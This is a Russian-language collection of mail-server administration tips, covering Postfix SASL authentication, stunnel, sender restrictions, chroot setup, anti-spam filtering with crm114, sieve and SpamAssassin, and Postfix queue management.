    ----* Настройка SASL аутентификации для Postfix   Автор: Астафьев Григорий  [комментарии]
     
    Статья о том как сделать sasl на postfix'е и убедиться в его работоспособности.
    
    Задача:
    
    Установить sasl и postfix и сделать авторизацию вида:
    1) отправлять письма могут только пользователи системы (/etc/passwd).
    2) все остальные не пропускать.
    
    Система: FreeBSD 7.0
    
    
    Установка:
    
    1) /usr/ports/secutiry/cyrus-sasl2
    
       [+] AUTHDAEMOND
       [+] LOGIN
       [+] PLAIN
    
       make install clean
    
    (если программы уже были установлены то повторно вызвать меню опций при
    установке можно командой make config)
    
    2) /usr/ports/security/cyrus-sasl2-saslauthd
    
        make install clean
    
    3) создаем и редактируем /usr/local/lib/sasl2/smtpd.conf:
    
       pwcheck_method: saslauthd
       mech_list: plain login
    
    далее добавляем в /etc/rc.conf:
    
       saslauthd_enable="YES"
       saslauthd_flags="-a pam"
    
    4) Теперь постифкс 
       /usr/ports/mail/postfix
       [+]SASL2
    
       make install clean
    
    при установке на все вопросы ответить утвердительно "y"
    
    5) теперь мини-рабочий конфиг постфикса:
    
    /usr/local/etc/postfix/main.cf
    
       queue_directory = /var/spool/postfix
       command_directory = /usr/local/sbin
       daemon_directory = /usr/local/libexec/postfix
       mail_owner = postfix
       myhostname = host.domain.ru
       mydomain = domain.ru
       mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
       smtpd_sasl_auth_enable = yes
       smtpd_security_options = noanonymous
       smtpd_client_restrictions =
        permit_sasl_authenticated,
        reject_plaintext_session
       smtpd_sender_restrictions =
        permit_sasl_authenticated,
        reject_plaintext_session
    
    
    (!!! Внимание, господа, эта статья требует чтобы в конфиге postfix не было упоминаний mynetworks)
    
    6) Теперь просто в консоли из под рута 
    
       newaliases
    
    эта команда создаст файл /etc/aliases.db необходимый для постфикса
    
    7) Для тестирования желательно иметь php на машинке потому как sasl механизм
    login и plain используют
    технологию шифрования base64 и для обработки "руками" логина и пароля нужно будет написать скриптик:
    
       <?php
       print base64_encode("логин");
       print "\n";
       print base64_encode("пароль");
       print "\n";
       ?>
    
    P.S. (Кому интересно plain это base64_encode("логин\0логин\0пароль");)
    
    тоже самое на Perl:
    
       perl -e 'use MIME::Base64; print encode_base64("логин") . "\n" .encode_base64("пароль"). "\n"'
    
    
    8) Перезагружаем postfix
    
    
    Тестирование SASL.
    
    1) тестирование "руками":
    
       telnet айпиадрес 25
    
    оно оветит:
    
       220 host.domain.ru ESMTP Postfix
    
    говорим ему:
    
       ehlo host
    
    (где host -имя машины)
    оно ответит:
    
       220 host.domain.ru ESMTP Postfix
       250-host.domain.ru
       250-PIPELINING
       250-SIZE 10240000
       250-VRFY
       250-ETRN
       250-AUTH LOGIN PLAIN
       250-ENHANCEDSTATUSCODES
       250-8BITMIME
       250 DSN
    
    если есть строка 250-AUTH LOGIN PLAIN - то значит есть вероятность успеха.
    теперь заходим без авторизации и смотрим как наше сообщение не проходит:
    
       mail from: user@domain.ru
    
    оно:
    
       250 2.1.0 Ok
    
    мы:
    
       rcpt to: user2@domain.ru
    
    оно:
    
       554 5.7.1 <user2@domain.ru>: Relay access denied
    
    - значит все отлично нас не пустили просто так.
    напечатайте
    
       quit
    
    и теперь идем с регистрацией:
    
       telnet айпиадрес 25
    
       220 host.domain.ru ESMTP Postfix
    
       ehlo host
    
       250-host.domain.ru
       250-PIPELINING
       250-SIZE 10240000
       250-VRFY
       250-ETRN
       250-AUTH LOGIN PLAIN
       250-ENHANCEDSTATUSCODES
       250-8BITMIME
       250 DSN
    
    теперь вводим:
    
       auth login
    
    оно скажет нам сообщение вида:
    
       334 VXNlcm5hbWU6
    
    теперь запускаем, предварительно заполнив, тот скриптик который был указан выше
    и вводим наш логин зашифрованный base64 в ответ на последнее сообщение.
    у меня это:
    
       cGVuc2U=
    
    на что сервер ответил
    
       334 UGFzc3dvcmQ6
    
    теперь пароль в том же виде:
    
       cnZpZGlh
    
    на что оно нам ответит если все было правильно:
    
       235 2.0.0 Authentication successful
    
    вот оно - авторизация пройдена.
    теперь соответственно
    
       mail from:
       rcpt to:
       data
      hello world
      .
      quit
    
    все. письмо отправлено.
    
     
    ----* popa3d + TLS/SSL (stunnel) на FreeBSD 5.4   Автор: Вотинцев Сергей А.  [комментарии]
     
    Установка stunnel:
    
       cd /usr/ports/security/stunnel
       make && make install (!) не торопимся делать clean
       Копируем из папки work в /usr/local/etc/stunnel - stunnel.cnf, затем делаем make clean.
    
    Создаем сертификат:
       cd /usr/local/etc/stunnel && openssl req -new -x509 -days 365 \
          -nodes -config stunnel.cnf -out stunnel.pem -keyout stunnel.pem
       chmod 600 stunnel.pem && chown root:wheel stunnel.pem
    
    Конфиг для stunnel:
    
       cert = /usr/local/etc/stunnel/stunnel.pem
       RNDfile = /usr/local/etc/stunnel/stunnel.rnd
       chroot = /usr/local/var/stunnel/
       setuid = stunnel
       setgid = stunnel
       pid = /run/stunnel.pid
       output = /var/log/stunnel.log
       ciphers = HIGH
       debug = 6
       compression = rle
       [pop3s]
       accept  = 995
       connect = 127.0.0.1:110
    
    Делаем chroot:
    
       cd /usr/local/var && mkdir stunnel && cd stunnel
       mkdir etc && touch hosts.allow
       cd .. && mkdir run
    
    Содержание hosts.allow:
    
       pop3s : ALL : allow
       ALL : ALL : deny
    
    Права на директории /usr/local/var/stunnel
    
       drwxr-xr-x  2 root     wheel    512 Jul 30 20:31 etc
       drwxr-xr-x  2 stunnel  stunnel  512 Aug  3 15:55 run
    
    Правим rc.conf, если у Вас запускается только popa3d из inetd:
    
       inetd_flags="-wWa 127.0.0.1"
       /usr/local/etc/rc.d/stunnel.sh start
    
    Просмотр ciphers:
    
       openssl ciphers -v 'HIGH'
    
     
    ----* Ограничение приема внешней почты в postfix. (доп. ссылка 1)   Автор: SHRDLU  [обсудить]
     
    Пример введения ограничений на прием внешней почты для определенных адресов. 
    В конкретном примере, пользователь с адресом test@domain.com имеет право на
    прием и передачу сообщений
    только в пределах domain.com. Ни написать на другие адреса, ни принять почту с них он не может. 
    Остальные пользователи спокойно пишут куда хотят и получают почту с любых адресов.
    
    /etc/postfix/main.cf:
        smtpd_recipient_restrictions = hash:/etc/postfix/protected_destinations,  
                  check_sender_access hash:/etc/postfix/restricted_senders, 
                  permit_sasl_authenticated, permit_auth_destination, reject
        smtpd_restriction_classes = local_only, insiders_only
        local_only = check_recipient_access hash:/etc/postfix/local_domains, reject
        insiders_only = check_sender_access hash:/etc/postfix/local_domains, reject
    
    В /etc/postfix/restricted_senders:
        test@domain.com           local_only
        test@mail.domain.com      local_only
    
    В /etc/postfix/local_domains:
        domain.com     OK
        mail.domain.com  OK
    
    В /etc/postfix/protected_destinations:
        test@domain.com insiders_only
        test@mail.domain.com insiders_only
    
    И не забыть потом:
        postmap /etc/postfix/restricted_senders
        postmap /etc/postfix/local_domains
        postmap /etc/postfix/protected_destinations
        postfix reload 
    
    См. также http://www.opennet.ru/base/net/postfix_per_user_acl.txt.html 
    
     
    ----* Запуск postfix в chroot окружении   [обсудить]
     
    1. В /var/spool/postfix создаем директории dev и etc.
        В etc копируем файлы /etc/host.conf /etc/localtime /etc/services /etc/resolv.conf
    
    2. Правим master.cf, ставим в колонке chroot символ 'y' у следующих процессов:
        smtp, pickup, cleanup, qmgr, rewrite, bounce, defer, trace, verify, flush, relay, showq, error
    3. Активируем proxymap для чтения файлов из вне chroot окружения (/etc/passwd,
    aliases, различные "map"-файлы), например:
        local_recipient_maps = $alias_maps proxy:unix:passwd.byname 
        relay_domains = $mydestination, proxy:hash:/usr/local/etc/postfix/relay_domains
        smtpd_sender_restrictions = check_sender_access proxy:hash:/usr/local/etc/postfix/ access, 
                   reject_non_fqdn_sender, reject_unknown_sender_domain
        smtpd_client_restrictions = check_client_access proxy:hash:/usr/local/etc/postfix/access_clients,
                   check_recipient_access proxy:hash:/usr/local/etc/postfix/spam_allowed,
                   check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list,
                   check_client_access proxy:hash:/usr/local/etc/postfix/antispam/blocklist/block_list_arc,
                   check_client_access regexp:/usr/local/etc/postfix/dsl_stoplist.txt,
                   reject_rbl_client rbl.test.ru
        smtpd_recipient_restrictions = check_recipient_access proxy:hash:/usr/local/etc/postfix/fullboxes,
                   reject_non_fqdn_recipient,
                   permit_mynetworks,
                   reject_unknown_recipient_domain,
                   reject_unauth_destination
        transport_maps = proxy:hash:/usr/local/etc/postfix/transport
        proxy_read_maps = $smtpd_helo_restrictions $smtpd_recipient_restrictions $smtpd_sender_restrictions \
                   $smtpd_client_restrictions $local_recipient_maps $mydestination $virtual_alias_maps \
                   $virtual_alias_domains $virtual_mailbox_maps $virtual_mailbox_domains $relay_recipient_maps \
                   $relay_domains $canonical_maps $sender_canonical_maps $recipient_canonical_maps \
                   $relocated_maps $transport_maps $mynetworks
    
    3. Создаем дополнительный syslog сокет в chroot окружении:
        FreeBSD: "syslogd -l /var/spool/postfix/dev/log" 
        Linux: "syslogd -a /var/spool/postfix/dev/log"
    
     
    ----* Как запретить выполнение программ через .forward файл.   [обсудить]
     
    Часто ограничив cgi скрипты пользователей и доcтуп по FTP, 
    забывают про возможность запуска программ через "|script" опцию в .forward файле.
    Запрещение выполнения скриптов через .forward в Postfix (для агента доставки local):
      allow_mail_to_commands = alias
      local_command_shell=/dev/null
    Вообще запретить .forward, через изменение пути поиска:
      forward_path = $home/.forward
    
     
    ----* Как заставить postfix проверять наличие локального пользователя в системе на этапе соединения   [комментарии]
     
    В main.cf добавьте строчку:
        local_recipient_maps = $alias_maps unix:passwd.byname
    Без данной опции, postfix полностью принимает письмо для любого пользователя, 
    даже для несуществующего, и лишь потом рассылает bounce сообщение.
    С local_recipient_maps ошибка генерируется сразу на этапе RCPT TO:
    
     
    ----* Тестирование на открытый relaying   [обсудить]
     
    telnet domen 25
    HELO hostname
    VRFY email_адрес
    EXPN email_addr
    MAIL FROM: email_адрес_от_кого
    RCPT TO: email_адрес_кому
    DATA
    test
    .
    QUIT
    
     
    ----* Как заставить sendmail не отправлять все тело письма при ошибке   [комментарии]
     
    В sendmail.cf добавить nobodyreturn, например:
        O PrivacyOptions=authwarnings, novrfy, noexpn, nobodyreturn
    При использовании, M4: 
        define(`conf_PRIVACY_FLAGS', `authwarnings, noexpn, novrfy, nobodyreturn')
    В Postfix:
        bounce_size_limit = 10000
    
     
    ----* какие ограничения нужно установить в sendmail.cf   [комментарии]
     
    в sendmail.cf
    O MaxRecipientsPerMessage=20
    O MaxMessageSize=1000000
    При использовании M4 макросов:
    define('confMAX_RCPTS_PER_MESSAGE', '20')
    define('confMAX_MESSAGE_SIZE', '1000000')
    
     
    ----* Какие ограничения для пользователей выставить в Postfix.   [комментарии]
     
    # Ограничиваем размер сообщения в 1 Мб.
    message_size_limit = 1024000
    # Ограничичиваем число CC в одном письме.
    smtpd_recipient_limit = 5
    # Ограничиваем размер ящика 
    mailbox_size_limit = 51200000
    Если patch.mailbox:
    # формат inbox-size-override: login макс_размер
    default_mailbox_size = 5000
    mailbox_size_map = hash:/etc/postfix/inbox-size-override
    
     
    ----* Как заблокировать проверку наличия аккаунта в системе через SMTP   [комментарии]
     
    Проверку через "expn логин_пользователя" или "vrfy логин_пользователя",
    можно заблокировать в sendmail:
    В sendmail.cf добавить "O PrivacyOptions=authwarnings, noexpn, novrfy"
    (можно использовать опции needexpnhelo, needvrfyhelo, которые требуют
     наличия предварительного HELO для выполнения EXPN или VRFY)
    или m4 макросом 
    define(`conf_PRIVACY_FLAGS', `authwarnings, noexpn, novrfy')
    В Рostfix: disable_vrfy_command = yes
    
     

       Борьба со спамом, фильтрация почты

    ----* Удаление адреса почтового сервера из чёрных списков SORBS.net   Автор: sarge  [комментарии]
     
    Тема блэклистов известна, наверное, каждому администратору почты. Однако здесь,
    как и везде, есть подводные камни.
    
    Речь идет о sorbs.net. Если вы попали туда один раз (т.е. без повторений), то
    в течение 48 часов ваш адрес удалится из их базы автоматически. Либо же, вы
    можете сделать это вручную на их сайте. Однако если, вы попадали туда
    неоднократно, т.е. отметок о спаме с вашего IP более двух, то простой метод
    удаления не работает.
    
    Что надо сделать:
    
    1. полечить почтовый сервер, чтобы спама больше не было гарантированно;
    2. создать аккаунт на их сайте;
    3. отослать заявку в их SUPPORT.
    
    Дело должно закончиться вот этим:
    
       Created SORBS ticket #123456
       Created SORBS ticket [sorbs.net #123456] in the database.
    
       You should receive an email about this ticket shortly, please use the SORBS Ticket interface at:
       http://support.sorbs.net/Ticket/Display.html?id=123456  
    
    И вот тут начинается самое интересное!
    Никакого ответа вам не придёт.
    Заявка будет закрыта автоматом с отрицательным статусом.
    
    Для того чтобы добиться внимания их специалиста, надо зайти в их тикет-систему
    по ссылке выше (не спешите закрывать страницу support после оформления заявки!)
    и там найти вот такой ответ робота:
    
       This host has not been previously delisted but has more than 10 previous listings
    
       We are setting this ticket to 'Rejected', as an action is required 
       in your part before we can update our lists regarding the IP address(es)
       you wrote to us about.
    
       Action required: As you are requesting a delisting of an IP/Network
       that has either sent spam recently or has sent so much spam that it 
       exceeds our preset thresholds you must reply to this message justifying
       your cause and why you think you should be delisted.
    
       Someone will then review your case and reply accordingly.
    
    
    И сделать ответ на него, поменяв статус письма на открытый!
    
    Далее после непродолжительного ожидания получаем:
    
       As you've resolved this issue, and we have seen no further spam  
       occurrences within the last 48 hours, I've de-listed this IP.  Please    
       feel free to open a new request should any of your IPs become listed again.
    
     
    ----* Фильтрация исходящих почтовых сообщений с помощью sieve   Автор: Alexander Galanin  [комментарии]
     
    Предпочитаю хранить почтовые дискуссии в одном месте, а не держать отправленные
    письма отдельно в папке Sent, как это по умолчанию делают IMAP-клиенты. Поэтому
    по добавлению новой почты в папку Sent я вызываю sieve-скрипт для её обработки.
    
    Конфигурация
    
    
  • почтовый сервер dovecot, dovecot-imapd, dovecot-sieve
  • почта хранится в домашнем каталоге пользователя в формате maildir
  • для слежения за состоянием файловой системы используется incron Настройка Создаём скрипт, фильтрующий отправленные сообщения. Например, такой (расширение imap4flags нужно для сохранения флага \\seen у сообщения): require ["imap4flags", "fileinto", "variables", "date"]; # Сохраняем архив сообщений в папку archive.$год if currentdate :matches "year" "*" { set "archiveFolder" "archive.${1}"; } # Сообщения, отправленные самому себе. Нет смысла иметь копию, так что помещаем в Trash. if address :is "To" "user@example.com" { fileinto "Trash"; stop; } # Сообщения в списки рассылок сразы кладём в архив. if address :is "To" "debian-russian@lists.debian.org" { fileinto "${archiveFolder}"; stop; } # Если письмо является ответом на что-то, то кладём его в INBOX. if exists "In-Reply-To" { fileinto "INBOX"; } # Все прочие сообщения будут оставлены на своём месте. Проверяем скрипт на папке Sent (путь к месту расположения берётся из конфигурации dovecot). Скрипт выведет список действий, которые будут проведены с каждым письмом. Убеждаемся, что он делает именно то, что нужно: sieve-filter /path/to/script Sent Далее настраиваем таблицу incron. Для этого записываем в редакторе нижеприведённую при вызове incrontab -e. sieve-скрипт будет вызываться при перемещении новых писем в maildir-папку Sent и будет обрабатывать всё там находящееся. /home/user/Maildir/.Sent/cur IN_MOVED_TO /usr/bin/sieve-filter -e -W /path/to/script При следующей отправке письма папка отсортируется. Замечу, что подобным образом можно фильтровать любую другую папку при помещении в неё писем.
  •  
    ----* Настройка crm114 в связке с dovecot-antispam   Автор: Alexander Galanin  [комментарии]
     
    Плагин dovecot-antispam для dovecot позволяет сделать обучение 
    спамофильтра более удобным: указав плагину имя директории со спамом, можно 
    автоматически обозначать почту как спам или не спам, перенося её в/из 
    этой директории соответственно. В данном статье рассматривается способ 
    организации связки MDA (maildrop), фильтра (crm114) и IMAP-сервера 
    (dovecot) для реализации этой возможности. В качестве базовой системы 
    рассматривается Debian 6.0 (squeeze).
    
    Установка
    
    Установим необходимые пакеты штатным способом из репозитория (для 
    dovecot-antispam потребуется подключить репозиторий squeeze-backports 
    или взять версию из wheezy):
    
  • dovecot
  • dovecot-antispam
  • crm114 (содержит почтовый фильтр)
  • maildrop (или любой другой MDA, который Вы сумеете настроить должным образом)
  • mew-bin (для распаковки MIME-вложений) Настройка dovecot-antispam Скопируйте шаблон настроек плагина из man dovecot-antispam в /etc/dovecot/dovecot.conf или во включаемый файл настроек. Задайте путь к исполняемому файлу mailreaver из состава crm114 и укажите имена папок для спама, подозрительных на спам писем и папки удалённых сообщений. plugin { # backend selection, MUST be configured first, # there's no default so you need to set one of # these options: antispam_backend = crm114 # semicolon-separated list of Trash folders (default unset i.e. none) antispam_trash = Trash # semicolon-separated list of spam folders antispam_spam = spam # semicolon-separated list of unsure folders (default unset i.e. none) antispam_unsure = suspicious #=================== # crm114 plugin # mailreaver binary antispam_crm_binary = /usr/share/crm114/mailreaver.crm # semicolon-separated list of extra arguments to dspam # (default unset i.e. none) antispam_crm_args = --fileprefix=%h/.crm114/ # NOTE: you need to set the signature for this backend antispam_signature = X-CRM114-CacheID } Включите плагин антиспама в dovecot.conf protocol imap { mail_plugins = antispam mail_plugin_dir = /usr/lib/dovecot/modules/imap } Предварительная настройка CRM114 Согласно указанному в переменной antispam_crm_args, будем хранить настройки crm114 в подкаталоге .crm114 родительского каталога пользователя. Распакуйте пример настроечного файла mailfilter.cf из /usr/share/doc/crm114/examples/mailfilter.cf.gz и отредактируйте его, особое внимание обратив на поля spw, mime_decoder, log_to_allmail.txt и trainer_invoke_command. Создайте файл rewrites.mfp аналогичного вида, указав подходящую информацию: vassile@pupkine.example.com>->MyEmailAddress [[:space:]]Vassile Pupkine>-> MyEmailName mail.example.com>->MyLocalMailRouter 192.168.10.20>->MyLocalMailRouterIP Инициализируйте базы спама/не спама: cssutil -b -r spam.css cssutil -b -r nonspam.css Создайте (возможно, пустой) файл priolist.mfp, предназначенный для хранения белых/чёрных списков хостов Настройка MDA При получении письма следует его сначала пропустить через mailreaver из комплекта CRM114, чтобы добавить заголовки с информацией о результате проверки и идентификатором сообщения в кеше. Последнее будет использоваться впоследствии при переобучении фильтра. Затем, в зависимости от результатов проверки, письмо сохраняется в папку спама или подозрительных писем. Для maildrop и хранилища почты в виде Maildir вышеописанное будет выглядеть следующим образом: DEFAULT="$HOME/Maildir" xfilter "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/" if (/X-CRM114-Status: SPAM.*/) { to $DEFAULT/.spam/ } if (/X-CRM114-Status: Unsure.*/) { to $DEFAULT/.suspicious/ } Обучение спамофильтра Теперь пора приступать к обучению фильтра:
  • Спам перемещать в папку spam
  • Нужные сообщения перемещать из папок spam и suspicious в подходящее место
  • Для обучения спамофильтра на ранее пришедших письмах используйте: "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/ --good < /путь/к/письму "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/ --spam < /путь/к/письму
  • Для исходящей почты предусмотрен отдельный режим обучения: "/usr/share/crm114/mailreaver.crm -u $HOME/.crm114/ --outgoing < /путь/к/письму
  •  
    ----* Модификация транзитной почты на сервере с Postfix (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для автоматического добавления текста к письмам, например, уведомления о
    необходимости сохранения коммерческой тайны, можно использовать  alterMIME
    (http://pldaniels.com/altermime/). При помощи alterMIME также можно добавлять в
    транзитную почту произвольные заголовки, изменять содержимое существующих
    заголовков, удалять и заменять вложения в зависимости от имени файла и типа контента.
    
    Устанавливаем altermime в Debian/Ubuntu:
    
       aptitude install altermime
    
    или для Fedora/CentOS:
    
       yum install altermime
    
    Для запуска altermime-фильтров будем использовать отдельного пользователя:
    
       useradd -r -c "Postfix Filters" -d /var/spool/filter filter
       mkdir /var/spool/filter
       chown filter:filter /var/spool/filter
       chmod 750 /var/spool/filter
    
    Создаем скрипт /etc/postfix/disclaimer для запуска alterMIME, взяв за основу
    готовый пример, который есть в комплекте:
    
       cp /usr/share/doc/altermime/examples/postfix_filter.sh /etc/postfix/disclaimer
       chgrp filter /etc/postfix/disclaimer
       chmod 750 /etc/postfix/disclaimer
    
    По умолчанию скрипт не различает входящие и исходящие письма, для того чтобы
    добавлять уведомление только в исходящие письма скрипт нужно немного модифицировать.
    
    Правим скрипт /etc/postfix/disclaimer:
    
       #!/bin/sh
       INSPECT_DIR=/var/spool/filter
       SENDMAIL=/usr/sbin/sendmail
    
       DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
    
       # Exit codes from <sysexits.h>
       EX_TEMPFAIL=75
       EX_UNAVAILABLE=69
    
       # Clean up when done or when aborting.
       trap "rm -f in.$$" 0 1 2 3 15
    
       # Start processing.
       cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit $EX_TEMPFAIL; }
    
       cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }
    
       # obtain From address
       from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`
    
       if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
         /usr/bin/altermime --input=in.$$ \
                       --disclaimer=/etc/postfix/disclaimer.txt \
                       --disclaimer-html=/etc/postfix/disclaimer.txt \
                       --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                        { echo Message content rejected; exit $EX_UNAVAILABLE; }
       fi
     
       $SENDMAIL "$@" <in.$$
    
       exit $?
    
    Создаем файл etc/postfix/disclaimer_addresses с перечнем адресов для которых
    следует добавлять уведомление:
    
       test1@example.com
       test2@example.com
    
    Текст уведомления помещаем в файл /etc/postfix/disclaimer.txt.
    
    Настраиваем Postfix для вызова alterMIME, в /etc/postfix/master.cf добавляем в строку "smtp":
    
       -o content_filter=dfilt:
    
    т.е. получаем:
    
       smtp      inet  n       -       -       -       -       smtpd
          -o content_filter=dfilt:
    
    в конец файла добавляем:
    
       dfilt     unix    -       n       n       -       -       pipe
          flags=Rq user=filter argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}
    
    Перезапускаем Postfix:
    
       /etc/init.d/postfix restart
    
    Для замены или удаления вложения необходимо изменить скрипт
    /etc/postfix/disclaimer, использовав другие опции запуска altermime:
       "--remove=имя файла" (удаление вложения), 
       "--replace=имя файла --with=файл для замены" (замена вложения), 
       "--removeall" (удаление всех вложений), 
       "--alter-header=заголовок --alter-with=замены --alter-mode=replace" (замена заголовка),
       "--xheader=заголовок" (добавление заголовка)
    
     
    ----* Скрытие локальных адресов авторизованных пользователей в Postfix (доп. ссылка 1)   Автор: sanmai  [комментарии]
     
    Необходимо, чтобы вместо подобных заголовков:
    
       Received: from localhost (dyn.pool.example.net [172.31.64.88])
    	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
    	(No client certificate requested)
    	by mx.example.com (Postfix) with ESMTPSA id A2019508951
    	for <user@example.net>; Wed, 23 Jun 2010 17:34:29 +0900 (JST)
    
    стало так:
    
       Received: by mx.example.com (Postfix) with ESMTPSA id A2019508951
    	for <user@example.net>; Wed, 23 Jun 2010 17:34:29 +0900 (JST)
    
    Решение:
    
    1. Включаем добавление нужного нам заголовка:
    
       smtpd_sasl_authenticated_header = yes
    
    2. Включить header_checks, если они ещё не включены:
    
       header_checks = pcre:/etc/postfix/header_checks
    
    3. Добавить в /etc/postfix/header_checks правило для замены строки, которую
    хочется скрыть, заменив в примере mx\.example\.com на имя нужного почтового сервера:
    
       /^Received: from .*?([[:space:]]+\(Authenticated sender: [^)]+\).*by mx\.example\.com .*)/
       REPLACE Received: from [127.0.0.1] (localhost [127.0.0.1])${1}
    
    4. Правило легко доработать чтобы скрывалась строка "Authenticated sender". Например, так:
    
       /^Received: from .*?\(Authenticated sender: [^)]+\)[[:space:]]+(by mx\.example\.com .*)/
       REPLACE Received: ${1}
    
    Проверить полученное регулярное выражение можно командой:
    
       postmap -h -q - pcre:/etc/postfix/header_checks < test_message
    
     
    ----* Примеры управлением очередью сообщений в Postfix   [комментарии]
     
    Инициировать внеплановый процесс отправки сообщений, присутствующих в очереди:
       postqueue -f
    
    Показать содержимое очереди:
       postqueue -p
    
    Инициировать внеплановую доставку накопившихся в очереди сообщений для домена test.ru:
       postqueue -s test.ru
    
    Постмотреть параметры сообщения и причины проблем с отправкой для заданного
    идентификатора сообщения в очереди:
       postcat -q 54D4E563B51
    
    Очистить из очереди домены по заданной маске:
       mailq| ./agr_mailq.pl|grep -E 'MAILER-DAEMON|yahoo|\.de|\.fr|\.it|\.ch'|awk '{print $1}'\
         | tr -d '*!'|xargs  -J{} -n1 postsuper -d {} deferred
       mailq| ./agr_mailq.pl|grep -E 'MAILER-DAEMON|yahoo|\.de|\.fr|\.it|\.ch'|awk '{print $1}'\
         | tr -d '*!'|xargs  -J{} -n1 postsuper -d {}
    
    
    где agr_mailq.pl скрипт следующего содержания:
    
       #!/usr/bin/perl
       my $cur_line="";
       while(<>){
           chomp();
           if (/^[\w\d\*]+\s+\d+/){
               print "$cur_line\n";
               $cur_line=$_;
           } else {
               s/\s+//s;
               $cur_line .= "\t" . $_;
           }
       }
    
    
    Отфильтровать и удалить из очереди только сообщения на 5 и более адресов разом:
       mailq |./agr_mailq_big.pl| tr -d '*!'|xargs  -J{} -n1 postsuper -d {}
    
    где agr_mailq_big.pl:
    
       #!/usr/bin/perl
       my $cur_line="";
       my $counter=0;
       while(<>){
           chomp();
           if (/^[\w\d\*]+\s+\d+/){
               if ($counter >= 5){
                   print "$cur_line\n";
               }
              $cur_line=$_;
               $counter=0;
           } else {
               s/\s+//s;
               $cur_line .= "\t" . $_;
               $counter++;
           }
       }
    
    Посмотреть список доменов в очереди и число сообщений для них:
       mailq |./agr_mailq.pl |awk '{print $7}'|cut -d'@' -f2|sort|uniq -c|sort -r -n
    
    Записав такие домены в файл, можно вручную отсеять нормальные домены и затем
    разом удалить мусор из очереди:
    
       mailq| ./agr_mailq.pl|grep -f ./spamdomains.list |awk '{print $1}'\
          | tr -d '*!'|xargs  -J{} -n1 postsuper -d {}
    
     
    ----* Пример настроек для Spamassassin   [комментарии]
     
    /etc/mail/spamassassin/local.cf
    
    # Порог срабатывания пометки на спам
    required_hits   5.0
    
    # Пометка спама через добавление метки в заголовок:
    rewrite_header Subject ***SPAM***
    rewrite_subject 1
    report_safe 0
    report_charset koi8-r
    
    # Сети из которых не помечать сообщения как спам
    trusted_networks 211.57.52.
    internal_networks 218.43.28.0/255.255.255.0
    
    
    # Пропускаем только сообщения на русском и английском языках (слишком русурсоемкая операция!)
    ok_locales en ru uk
    
    # Не используем для массовых систем баесовские адаптивные методы.
    use_bayes 0
    # bayes_path /path
    
    # Автоматически формируем белый список, чтобы не проверять уже ранее признанные
    не спамом сообщения
    use_auto_whitelist 1
    auto_whitelist_path /usr/local/amavis/db/auto_whitelist
    
    # Пропускаем проверки, вносящие заметную задержку в обработку сообщения. 
    # Для небольшого трафика можно включить
    use_razor2 0
    use_dcc 0
    use_pyzor 0
    skip_rbl_checks 1
    # dns_available no
    # num_check_received 0
    # bl_timeout 1
    dns_available test: 211.57.52.2 218.43.28.2
    
    # Изменение весовых характеристик, влияющих на пометку как спам. 
    # Подобрано экспериментальным путем
    
    score MIME_HTML_ONLY 3.0
    score HTML_MESSAGE 0.5
    score MIME_HTML_MOSTLY 2.5
    score FORGED_OUTLOOK_TAGS 1.8
    score SUBJ_ILLEGAL_CHARS 1.5
    score FROM_ILLEGAL_CHARS 1.0
    
    score HTML_FONTCOLOR_RED 1.0
    score HTML_FONTCOLOR_GREEN 1.0
    score HTML_FONTCOLOR_BLUE 1.0
    score HTML_FONT_INVISIBLE 1.5
    score HTML_IMAGE_ONLY_06 3.5
    
    score HTML_FONTCOLOR_UNSAFE 1.5
    score HTML_MIME_NO_HTML_TAG 0.1
    score HTML_TAG_EXIST_TBODY 1.0
    score HTML_TAG_BALANCE_BODY 0.4
    score HTML_FONT_BIG 0.8
    score RCVD_NUMERIC_HELO 2.0
    score MSGID_FROM_MTA_ID 1.8
    score MPART_ALT_DIFF 2.0
    
    score HTML_IMAGE_ONLY_04 3.120
    score HTML_IMAGE_ONLY_08 2.881
    score HTML_IMAGE_ONLY_12 2.360
    score HTML_IMAGE_ONLY_16 1.352
    score HTML_IMAGE_ONLY_20 1.567
    score HTML_IMAGE_ONLY_24 1.088
    
    score HTML_00_10 0.985
    score HTML_10_20 1.050
    score HTML_20_30 1.241
    score HTML_30_40 0.879
    score HTML_40_50 0.6
    score HTML_50_60 1.053
    score HTML_60_70 0.516
    
    score HTML_TEXT_AFTER_HTML 0.5
    score HTML_TEXT_AFTER_BODY 0.4
    score EXTRA_MPART_TYPE 0.3
    score RCVD_HELO_IP_MISMATCH 3.0
    # score FORGED_RCVD_HELO 0.0
    #score FROM_STARTS_WITH_NUMS 1.0
    #score DATE_MISSING 3.000
    
    score HELO_DYNAMIC_ADELPHIA 2
    score HELO_DYNAMIC_ATTBI 4
    score HELO_DYNAMIC_CHELLO_NL 2
    score HELO_DYNAMIC_CHELLO_NO 2
    score HELO_DYNAMIC_COMCAST 4
    score HELO_DYNAMIC_DHCP 3.5
    score HELO_DYNAMIC_DIALIN 3.5
    score HELO_DYNAMIC_HCC 4
    score HELO_DYNAMIC_HEXIP 3
    score HELO_DYNAMIC_HOME_NL 3
    score HELO_DYNAMIC_IPADDR 4
    score HELO_DYNAMIC_IPADDR2 4
    score HELO_DYNAMIC_NTL 3
    score HELO_DYNAMIC_OOL 4
    score HELO_DYNAMIC_ROGERS 3
    score HELO_DYNAMIC_RR2 3
    score HELO_DYNAMIC_SPLIT_IP 4
    score HELO_DYNAMIC_TELIA 3
    score HELO_DYNAMIC_VELOX 3
    score HELO_DYNAMIC_VTR 3
    score HELO_DYNAMIC_YAHOOBB 4
    
    # Пример, как принудительно не помечать как спам соответствующие 
    # определенным критериями сообщения
    
    header FOREX_SUBJECT   Subject =~ /^Forex Trading/
    describe FOREX_NIGERIAN_SUBJECT Subject is Forex Trading Strategies
